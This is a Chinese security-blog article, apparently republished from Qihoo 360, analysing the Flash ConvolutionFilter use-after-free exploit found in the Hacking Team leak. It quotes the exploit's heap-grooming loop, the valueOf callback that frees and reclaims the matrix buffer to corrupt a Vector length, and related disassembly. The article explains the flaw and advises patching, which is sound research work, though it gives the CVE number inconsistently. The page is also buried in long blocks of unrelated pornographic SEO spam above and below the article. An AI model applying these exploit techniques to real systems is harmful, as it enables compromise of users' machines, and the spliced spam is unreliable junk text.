精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Hacking Team攻擊代碼分析Part 2: Pwn2Own漏洞

安全 黑客攻防
前一篇文章我們分析了HackingTeam泄露數(shù)據(jù)中的Flash 0day (bytearray 0day)。而在泄露數(shù)據(jù)中我們其實(shí)還看到了另外一個(gè)名為convolution_filter的flash exploit。

前一篇文章我們分析了HackingTeam泄露數(shù)據(jù)中的Flash 0day (bytearray 0day)。而在泄露數(shù)據(jù)中我們其實(shí)還看到了另外一個(gè)名為convolution_filter的flash exploit。

看了一下這個(gè)flash exploit,我很快意識(shí)到這個(gè)漏洞是一個(gè)已經(jīng)修補(bǔ)的漏洞cve-2015-0329,在今年4月份被修補(bǔ),這也解釋了readme文檔中,flash后面加了“(April 2015)”,意思是這個(gè)洞只能用到今年4月之前的flash版本中:

(https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html)

我個(gè)人對(duì)這個(gè)漏洞印象比較深,看似平凡的它有個(gè)不平凡的故事,今年的pwn2own大賽中,前Vupen主力Nicolas Joly正是用這個(gè)漏洞拿下了64位Flash插件:

 

3

 

 

4

 

所以事情就變得很有趣了,一邊是Nico用這個(gè)漏洞打 Pwn2Own,另一邊HackingTeam(從常理推測(cè),應(yīng)該是通過(guò)其它渠道,和Nico無(wú)關(guān))也掌握了這個(gè)漏洞并將其用于自己的Exploit工具包中。

CVE-2015-0349原理分析

再回頭看一下CVE-2015-0349這個(gè)漏洞,這是一個(gè)ActionScript 3中ConvolutionFilter類的內(nèi)部matrix數(shù)組的一個(gè)Use After Free漏洞,這是個(gè)非常好用的漏洞,在32位和64位上都可以輕松實(shí)現(xiàn)穩(wěn)定利用。

我們來(lái)看一下HackingTeam泄露的exploit代碼,關(guān)鍵部分如下:

創(chuàng)建ConvolutionFilter對(duì)象:

// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]
for(i=20; i < alen; i+=6){
a[i] = new Class2(i);
for(j=i+1; j < i+5; j++)
a[j] = new ConvolutionFilter(14,15);
a[i+5] = new Class2(i+5);
}

設(shè)置matrix

var m:Array = new Array(bLen);
m[0] = new Clasz;
m[1] = m[0];
try { filter.matrix = m; } catch (e:Error){}

這里有一個(gè)關(guān)鍵點(diǎn),filter.matrix被賦值為m(類型是 Array),而Array m的第一個(gè)元素是一個(gè)Clasz類,而Clasz類定義了valueOf方法,這個(gè)valueOf是漏洞觸發(fā)的關(guān)鍵點(diǎn):

public class Clasz
{
…
public function Clasz() { }
prototype.valueOf = function()
{
…
}

在Clasz的valueOf函數(shù)中,設(shè)置matrixX:

prototype.valueOf = function()
{
if (filter.matrixX > 14) throw new Error(“”); // check for the second valueOf() call
ref = new Array(5);
collect.push(ref); // protect from GC // for RnD
filter.matrixX = 15; // reallocate filter matrix
// reuse freed memory
for(var i:int; i < ref.length; i++) {
ref[i] = new Vector.;
ref[i].length = bLen;
}
// return value for vector length overwriting
return 2; // = 0x40000000 as single precision
}

事實(shí)上filter.matrixX = 15執(zhí)行完畢之后,ConvolutionFilter內(nèi)部的一個(gè)float數(shù)組(我們叫他matrixArray)就會(huì)被釋放,而從valueOf返回之后,已經(jīng)釋放的matrixArray還會(huì)繼續(xù)被使用,并且往里面寫入數(shù)據(jù),從而造成了Use-After-Free。我們可以看到valueOf函數(shù)中,在設(shè)置了filter.matrixX之后,分配了一系列的vector,這些vector就是用來(lái)占用釋放后的matrixArray的內(nèi)存的。這樣當(dāng)程序繼續(xù)往被釋放后的matrixArray里寫數(shù)據(jù)時(shí),實(shí)際上是在往vector對(duì)象里面寫數(shù)據(jù),從而達(dá)到修改vector長(zhǎng)度字段的目的,便于進(jìn)一步exploit。

細(xì)節(jié)分析

我們首先先介紹一下ConvolutionFilter的關(guān)鍵結(jié)構(gòu):

ConvolutionFilterObject {
+10 ConvolutionFilter {
+14 int matrixX;
+18 int matrixY;
+1C float *matrixArray;
+20 int matrixLength;
}
}

ConvolutionFilter里面有成員存放matrix矩陣,matrixX和matrixY代表矩陣的x和y,matrixArray是動(dòng)態(tài)分配的數(shù)組,其大小是由matrixX和matrixY決定的,關(guān)系如下:

matrixArray = alloc( matrixX * matrix * sizeof(float) )

當(dāng)matrixX和matrixY改變時(shí),如果原來(lái)的matrixArray大小不足以容納現(xiàn)在的容量,則舊的matrixArray會(huì)被釋放,然后分配新的matrixArray (UAF就是這么來(lái)的)

當(dāng)exploit代碼創(chuàng)建ConvolutionFilter時(shí),傳入的參數(shù)是matrixX=14,matrix=15:

a[j] = new ConvolutionFilter(14,15);

因此matrixArray初始大小為 14 * 15 * 4 = 840,然后我們看一下第二步,執(zhí)行

try { filter.matrix = m; } catch (e:Error){}

時(shí)發(fā)生了什么:

ConvolutionFilter::set_matrix基本上是直接調(diào)用了另外一個(gè)函數(shù),我們叫他set_matrix_internal:

.text:102E9604 loc_102E9604: ; CODE XREF: sub_102E95ED+Aj
.text:102E9604 push 14h
.text:102E9606 lea eax, [esi+24h]
.text:102E9609 push eax
.text:102E960A mov eax, [esi+8]
.text:102E960D mov ecx, [eax+4]
.text:102E9610 or edi, 1
.text:102E9613 push edi
.text:102E9614 call set_matrix_internal

調(diào)用該函數(shù)時(shí)參數(shù)如下:

set_matrix_internal( paramArray, matrixArray, matrixLength )

這里的關(guān)鍵點(diǎn)是:matrixArray直接作為參數(shù)被傳入。我們來(lái)看一下set_matrix_internal函數(shù),該函數(shù)的功能可以描述為:將paramArray(在exploit里面就是m這個(gè)數(shù)組)里面的每一項(xiàng)賦值給matrixArray中對(duì)應(yīng)的項(xiàng),由于matrixArray的類型為float *,因此如果有必要的話得把paramArray中的元素轉(zhuǎn)換成float,對(duì)應(yīng)邏輯的偽代碼如下:

for ( i = 0; I < matrixLength; ++ i ) {
matrixArray[i] = (float)ConvertToNumber(paramArray.get(i));
}

還記得我們的m[0]被設(shè)置成一個(gè)Clasz對(duì)象了嗎?

m[0] = new Clasz;

將Clasz對(duì)象轉(zhuǎn)換成Number的過(guò)程中,會(huì)調(diào)用Clasz對(duì)象的valueOf函數(shù),而前面已經(jīng)講過(guò),valueOf函數(shù)會(huì)設(shè)置filter.matrixX=15(原來(lái)的matrixX為14),此時(shí)由于matrixArray大小不夠,于是舊的matrixArray被釋放,新的matrixArray被分配。然后從valueOf返回到set_matrix_internal以后,程序繼續(xù)向matrixArray里面寫入值,注意這里用的還是舊的 matrixArray,于是UAF漏洞就這樣產(chǎn)生了。

又是valueOf

如果你看過(guò)我們前一篇分析bytearray 0day的文章,你可能對(duì)valueOf這個(gè)函數(shù)依然印象深刻。事實(shí)上這兩個(gè)洞無(wú)論是從產(chǎn)生原理,還是利用方式來(lái)講都非常的相近。背后隱藏的邏輯是腳本語(yǔ)言從native code回調(diào)到腳本層(通過(guò)toString, valueOf, event等等),還是很容易出現(xiàn)沒(méi)處理好而造成UAF等情況的發(fā)生。類似case已經(jīng)在chrome, IE, flash, java等等軟件中多次出現(xiàn),有心的讀者可以去留意一下。事實(shí)上這也是腳本語(yǔ)言漏洞挖掘中的一個(gè)值得切入的點(diǎn)。

漏洞防范

由于Adobe官方已針對(duì)此漏洞發(fā)布了安全更新,用戶只要及時(shí)升級(jí)就可避免受此漏洞影響。

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 奇虎360公司技術(shù)博客
相關(guān)推薦

2014-03-24 17:54:25

2015-07-08 13:52:18

2009-05-12 09:01:50

2014-03-19 14:31:09

2013-03-08 09:17:58

2010-03-27 10:44:13

2015-07-08 10:35:17

2015-10-12 16:57:34

2015-03-22 09:22:51

2015-03-12 15:38:06

2011-03-11 09:41:53

2015-03-18 16:17:27

2009-03-20 17:11:35

2010-03-19 12:42:27

2015-03-19 10:35:55

2015-03-22 09:06:23

2010-03-29 10:04:11

2015-03-17 11:15:06

2014-07-10 10:14:45

2013-03-18 09:57:12

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

久久久亚洲国产天美传媒修理工| 亚洲欧美日韩一区二区 | 亚洲综合中文字幕在线观看| 登山的目的在线| 51vv免费精品视频一区二区 | 一区二区不卡视频在线观看| 综合久久十次| 国产视频精品在线| www.色就是色.com| 三级在线看中文字幕完整版| 国产精品妹子av| 国产一区免费视频| 91极品身材尤物theporn| 亚洲高清毛片| 精品国产一区二区三区四区在线观看| 无码人妻精品一区二区三| 日日夜夜天天综合| 亚洲国产日韩综合久久精品| 亚洲国产精品www| 好吊色一区二区| 麻豆精品一区二区av白丝在线| 97视频国产在线| 日韩欧美国产成人精品免费| 精品国产一区二区三区噜噜噜| 日韩欧美一级精品久久| 激情综合网俺也去| 黄色在线观看www| 亚洲男女一区二区三区| 日韩欧美一区二区在线观看 | 成年无码av片在线| 99久久精品免费视频| 国产精品色呦| 日韩天堂在线观看| 亚洲人视频在线| 中文字幕资源网在线观看免费 | 99热这里只有精品首页 | 日韩欧美午夜| 亚洲伦理中文字幕| 成人做爰www看视频软件| 91成人精品观看| 欧美日韩中文另类| 国产情侣av自拍| 中文字幕色婷婷在线视频| 亚洲一区二区在线播放相泽| japanese在线视频| 三区四区在线视频| 中文字幕欧美区| 日本高清不卡三区| 国产在线观看免费| 久久嫩草精品久久久久| 久久精品国产第一区二区三区最新章节| xxxx18国产| 粉嫩一区二区三区性色av| 91超碰rencao97精品| 国产露脸91国语对白| 精品亚洲porn| 91亚洲一区精品| 国产免费无遮挡| 国产传媒欧美日韩成人| 91精品黄色| 老熟妇高潮一区二区高清视频| 懂色av一区二区在线播放| 成人动漫视频在线观看免费| www日本在线| av成人免费在线| 久久久com| 精品资源在线看| 国产精品欧美久久久久无广告| 亚洲高清在线播放| 国产乱色在线观看| 亚洲综合色在线| 妞干网在线视频观看| 九色porny丨国产首页在线| 欧美午夜视频在线观看| 国产第一页视频| 日本欧美在线| 精品乱人伦小说| 中文人妻一区二区三区| 国产在线观看91一区二区三区 | 久久精品国产99久久6| 成人国产精品一区二区| 超碰免费在线97| 久久综合视频网| 中文精品一区二区三区| 性欧美高清come| 日韩欧美精品在线观看| 午夜精品中文字幕| 精品国产一区二区三区不卡蜜臂| 亚洲精品资源在线| 亚洲人做受高潮| 黄色亚洲在线| 国产精品久久久久久久久免费| 99国产精品久久久久99打野战| 成人h动漫精品| 五月天久久综合网| 欧美xxxx做受欧美88bbw| 偷拍一区二区三区| 三上悠亚在线一区| 精品中国亚洲| 日韩亚洲欧美成人| 五月婷婷色丁香| 激情六月婷婷久久| 蜜桃av色综合| 国产色在线观看| 色悠悠久久综合| 亚洲性图第一页| 菠萝蜜一区二区| 91chinesevideo永久地址| 少妇又紧又色又爽又刺激视频 | 欧美精品久久久久久久久老牛影院| 日本77777| 国产精品美女久久久久久不卡| 久久99精品久久久久久噜噜| 久久久久久久久久一级| 成人激情免费网站| 一区二区视频在线播放| 乡村艳史在线观看| 欧美不卡视频一区| 99精品中文字幕| 久久精品二区三区| 粉嫩高清一区二区三区精品视频 | 色综合手机在线| 巨人精品**| 欧美成人免费网| 中文字幕制服诱惑| 国产午夜亚洲精品不卡| 精品国产一二三四区| 欧美影院精品| 日韩在线视频国产| 免费看日批视频| 99精品视频在线播放观看| 今天免费高清在线观看国语| 草民电影神马电影一区二区| 亚洲日韩中文字幕| 精品国产乱码一区二区| 成人精品视频.| 日韩成人三级视频| 欧美成人精品午夜一区二区| 色多多国产成人永久免费网站| 日韩在线播放中文字幕| 91美女视频网站| 久久久久久免费看| 久久精品凹凸全集| 国语自产精品视频在线看一大j8| 性生活视频软件| 亚洲亚洲人成综合网络| 免费看91视频| 亚洲免费高清| 久久99国产精品99久久| 依依综合在线| 亚洲欧美日韩中文在线| 午夜精品免费观看| 国产三级久久久| 五月婷婷六月丁香激情| 久久美女精品| 91系列在线观看| 特级毛片在线| 精品国产凹凸成av人网站| 免费观看一级视频| 91年精品国产| 成人精品视频一区二区| 精品视频黄色| 成人av.网址在线网站| 成人video亚洲精品| 日韩欧美亚洲国产精品字幕久久久| 强乱中文字幕av一区乱码| 成人深夜在线观看| 国产精品97在线| 不卡一区2区| 亚洲自拍偷拍一区| av丝袜在线| 亚洲欧美激情一区| 国产精品久久久久久久久夜色| 中文字幕第一区第二区| 91香蕉国产线在线观看| 国产一区白浆| 亚洲成人第一| 亚洲精品国产九九九| 欧美专区在线播放| 91在线网址| 日韩精品专区在线| 国产精品视频123| 中文字幕在线视频一区| 午夜福利三级理论电影| 久久综合网络一区二区| 中文字幕一区二区三区四区五区人 | 波多野结衣a v在线| 精品无人码麻豆乱码1区2区 | 福利在线导航136| 亚洲欧美精品suv| 国产普通话bbwbbwbbw| 疯狂做受xxxx高潮欧美日本| a资源在线观看| 国产黄人亚洲片| 白嫩少妇丰满一区二区| 小小影院久久| 欧美精品一区二区三区四区五区| 成人97精品毛片免费看| 91黑丝高跟在线| 黄网站免费在线观看| 亚洲级视频在线观看免费1级| 中文字幕一二区| 亚洲电影中文字幕在线观看| 青青青视频在线免费观看| 99久久国产综合色|国产精品| 中文字幕视频三区| 久久久精品五月天| 成人区一区二区| 日韩久久视频| 欧美国产二区| 高清一区二区三区| 成人性教育视频在线观看| 一区二区电影免费观看| 美日韩在线视频| 一本一道波多野毛片中文在线| 精品粉嫩超白一线天av| 97在线视频人妻无码| 日本久久电影网| 国产成人亚洲欧洲在线| 亚洲精品五月天| 亚洲精品天堂网| 国产无遮挡一区二区三区毛片日本| 色哟哟视频在线| 韩日av一区二区| 欧美成人黄色网址| 六月天综合网| 免费在线a视频| 亚洲精品日本| 精品少妇人欧美激情在线观看| 一区二区三区四区日韩| 午夜老司机精品| 国产免费av一区二区三区| 国产伦精品一区二区三区视频免费| 警花av一区二区三区| 国产在线999| 欧美黄色成人| 国产精品日韩av| 91欧美精品| 国产精品久久久久免费a∨| 国产欧美一区二区三区精品酒店| 7777免费精品视频| 激情aⅴ欧美一区二区欲海潮| 欧美激情aaaa| 国内老司机av在线| 欧美激情视频在线观看| 成人在线app| 欧美另类老女人| 亚洲精品一线| 久久人人爽人人| av2020不卡| 91av视频导航| 欧美舌奴丨vk视频| 国产精品精品一区二区三区午夜版 | 国产高清精品一区二区三区| 成人影院中文字幕| 国产一区精品视频| 精品一区毛片| 五月婷婷综合色| 99久久.com| 国产制服91一区二区三区制服| 欧美视频不卡| 2018国产在线| 老**午夜毛片一区二区三区| 日日噜噜噜噜久久久精品毛片| 免费久久精品视频| 涩多多在线观看| 国产91综合一区在线观看| 怡红院一区二区| 久久亚洲春色中文字幕久久久| 538精品视频| 亚洲欧洲综合另类| 伊人国产在线观看| 一本高清dvd不卡在线观看| 69av视频在线观看| 欧美一级欧美一级在线播放| 噜噜噜久久,亚洲精品国产品| 日韩电影大片中文字幕| 成年人免费在线视频| 欧美插天视频在线播放| 538在线观看| 国产精品视频免费观看www| 北岛玲精品视频在线观看| 国产一级精品aaaaa看| 国产伦精品一区二区三区视频| 亚洲综合激情五月| 国产亚洲毛片| 一区二区三区国产好的精华液| 99v久久综合狠狠综合久久| 91资源在线播放| 亚洲成va人在线观看| 日批视频免费观看| 精品电影一区二区三区| 在线观看美女网站大全免费| 欧美激情一区二区三级高清视频| 欧美日韩国产v| 国产精品久久久久免费| 精品国产一区探花在线观看| 草草草视频在线观看| 天堂在线一区二区| 老司机av网站| 欧美激情在线看| 天堂网一区二区三区| 91精品国产乱码久久蜜臀| 三级在线观看| 欧美激情第1页| 欧美一级做a| 欧美日韩在线一区二区三区| 国产在线成人| 制服丝袜中文字幕第一页 | 三级在线看中文字幕完整版| 91免费看国产| 精品视频黄色| 人妻内射一区二区在线视频 | 99在线视频播放| 日韩一区自拍| 欧美激情精品久久久久久小说| 国产91精品久久久久久久网曝门| 手机看片国产日韩| 日韩欧美一区二区三区| 亚洲第一色网站| 成人97在线观看视频| 国外成人福利视频| 蜜桃视频日韩| 野花国产精品入口| 黄色免费视频网站| 亚洲综合一区在线| av免费观看在线| 久热精品视频在线免费观看| 麻豆久久久久| 亚洲成人第一| 美女网站一区二区| 日本乱子伦xxxx| 色悠悠久久综合| 久草视频在线看| 热re91久久精品国99热蜜臀| 色吊丝一区二区| 国产人妻777人伦精品hd| 国产成人精品网址| 欧美成人黄色网| 日韩一区二区免费视频| 国产理论在线观看| 亚洲一区二区自拍| 牛夜精品久久久久久久99黑人| 亚洲高清av一区二区三区| 亚洲人成网站色在线观看| 国产欧美一区二区三区视频在线观看| 久久在线视频在线| 免费观看性欧美大片无片| 18视频在线观看娇喘| 国产美女娇喘av呻吟久久| 欧美日韩精品一区二区三区视频播放 | 日本不卡高字幕在线2019| 亚洲精品国产setv| 欧美精品一区二区三区免费播放| 久久久亚洲综合| 最近中文字幕在线观看视频| www.日韩.com| 999久久久精品一区二区| 精品人妻少妇一区二区| 99久久精品国产麻豆演员表| 国产毛片aaa| 一本一本久久a久久精品综合小说| 日韩av首页| 一区视频二区视频| 夫妻av一区二区| 二区视频在线观看| 中文字幕日韩综合av| 日韩激情综合| 成 年 人 黄 色 大 片大 全| 久久久精品黄色| 国产乱淫av免费| 久久久久亚洲精品成人网小说| 妖精一区二区三区精品视频 | 99久久久久久久久| 中文字幕在线成人| 在线精品国产亚洲| 欧美污视频网站| 亚洲同性同志一二三专区| 国产视频在线观看免费| 2021国产精品视频| 久久影院一区| 成人在线视频免费播放| 欧洲人成人精品| 欧美高清另类hdvideosexjaⅴ| 日本视频一区二区不卡| 国产精品自拍网站| 日韩一区二区视频在线| 久久久国产精品x99av| 欧美日韩一区二区三区四区不卡| 亚洲污视频在线观看| 亚洲国产精品综合小说图片区| 国产女主播在线写真| 99国产在线视频| 日韩精品1区2区3区| 久草视频在线免费看| 国产亚洲人成a一在线v站| 一区二区三区四区高清视频| 国产又粗又长又大的视频| 亚洲一区二区三区四区在线免费观看 | 黄色污污网站在线观看|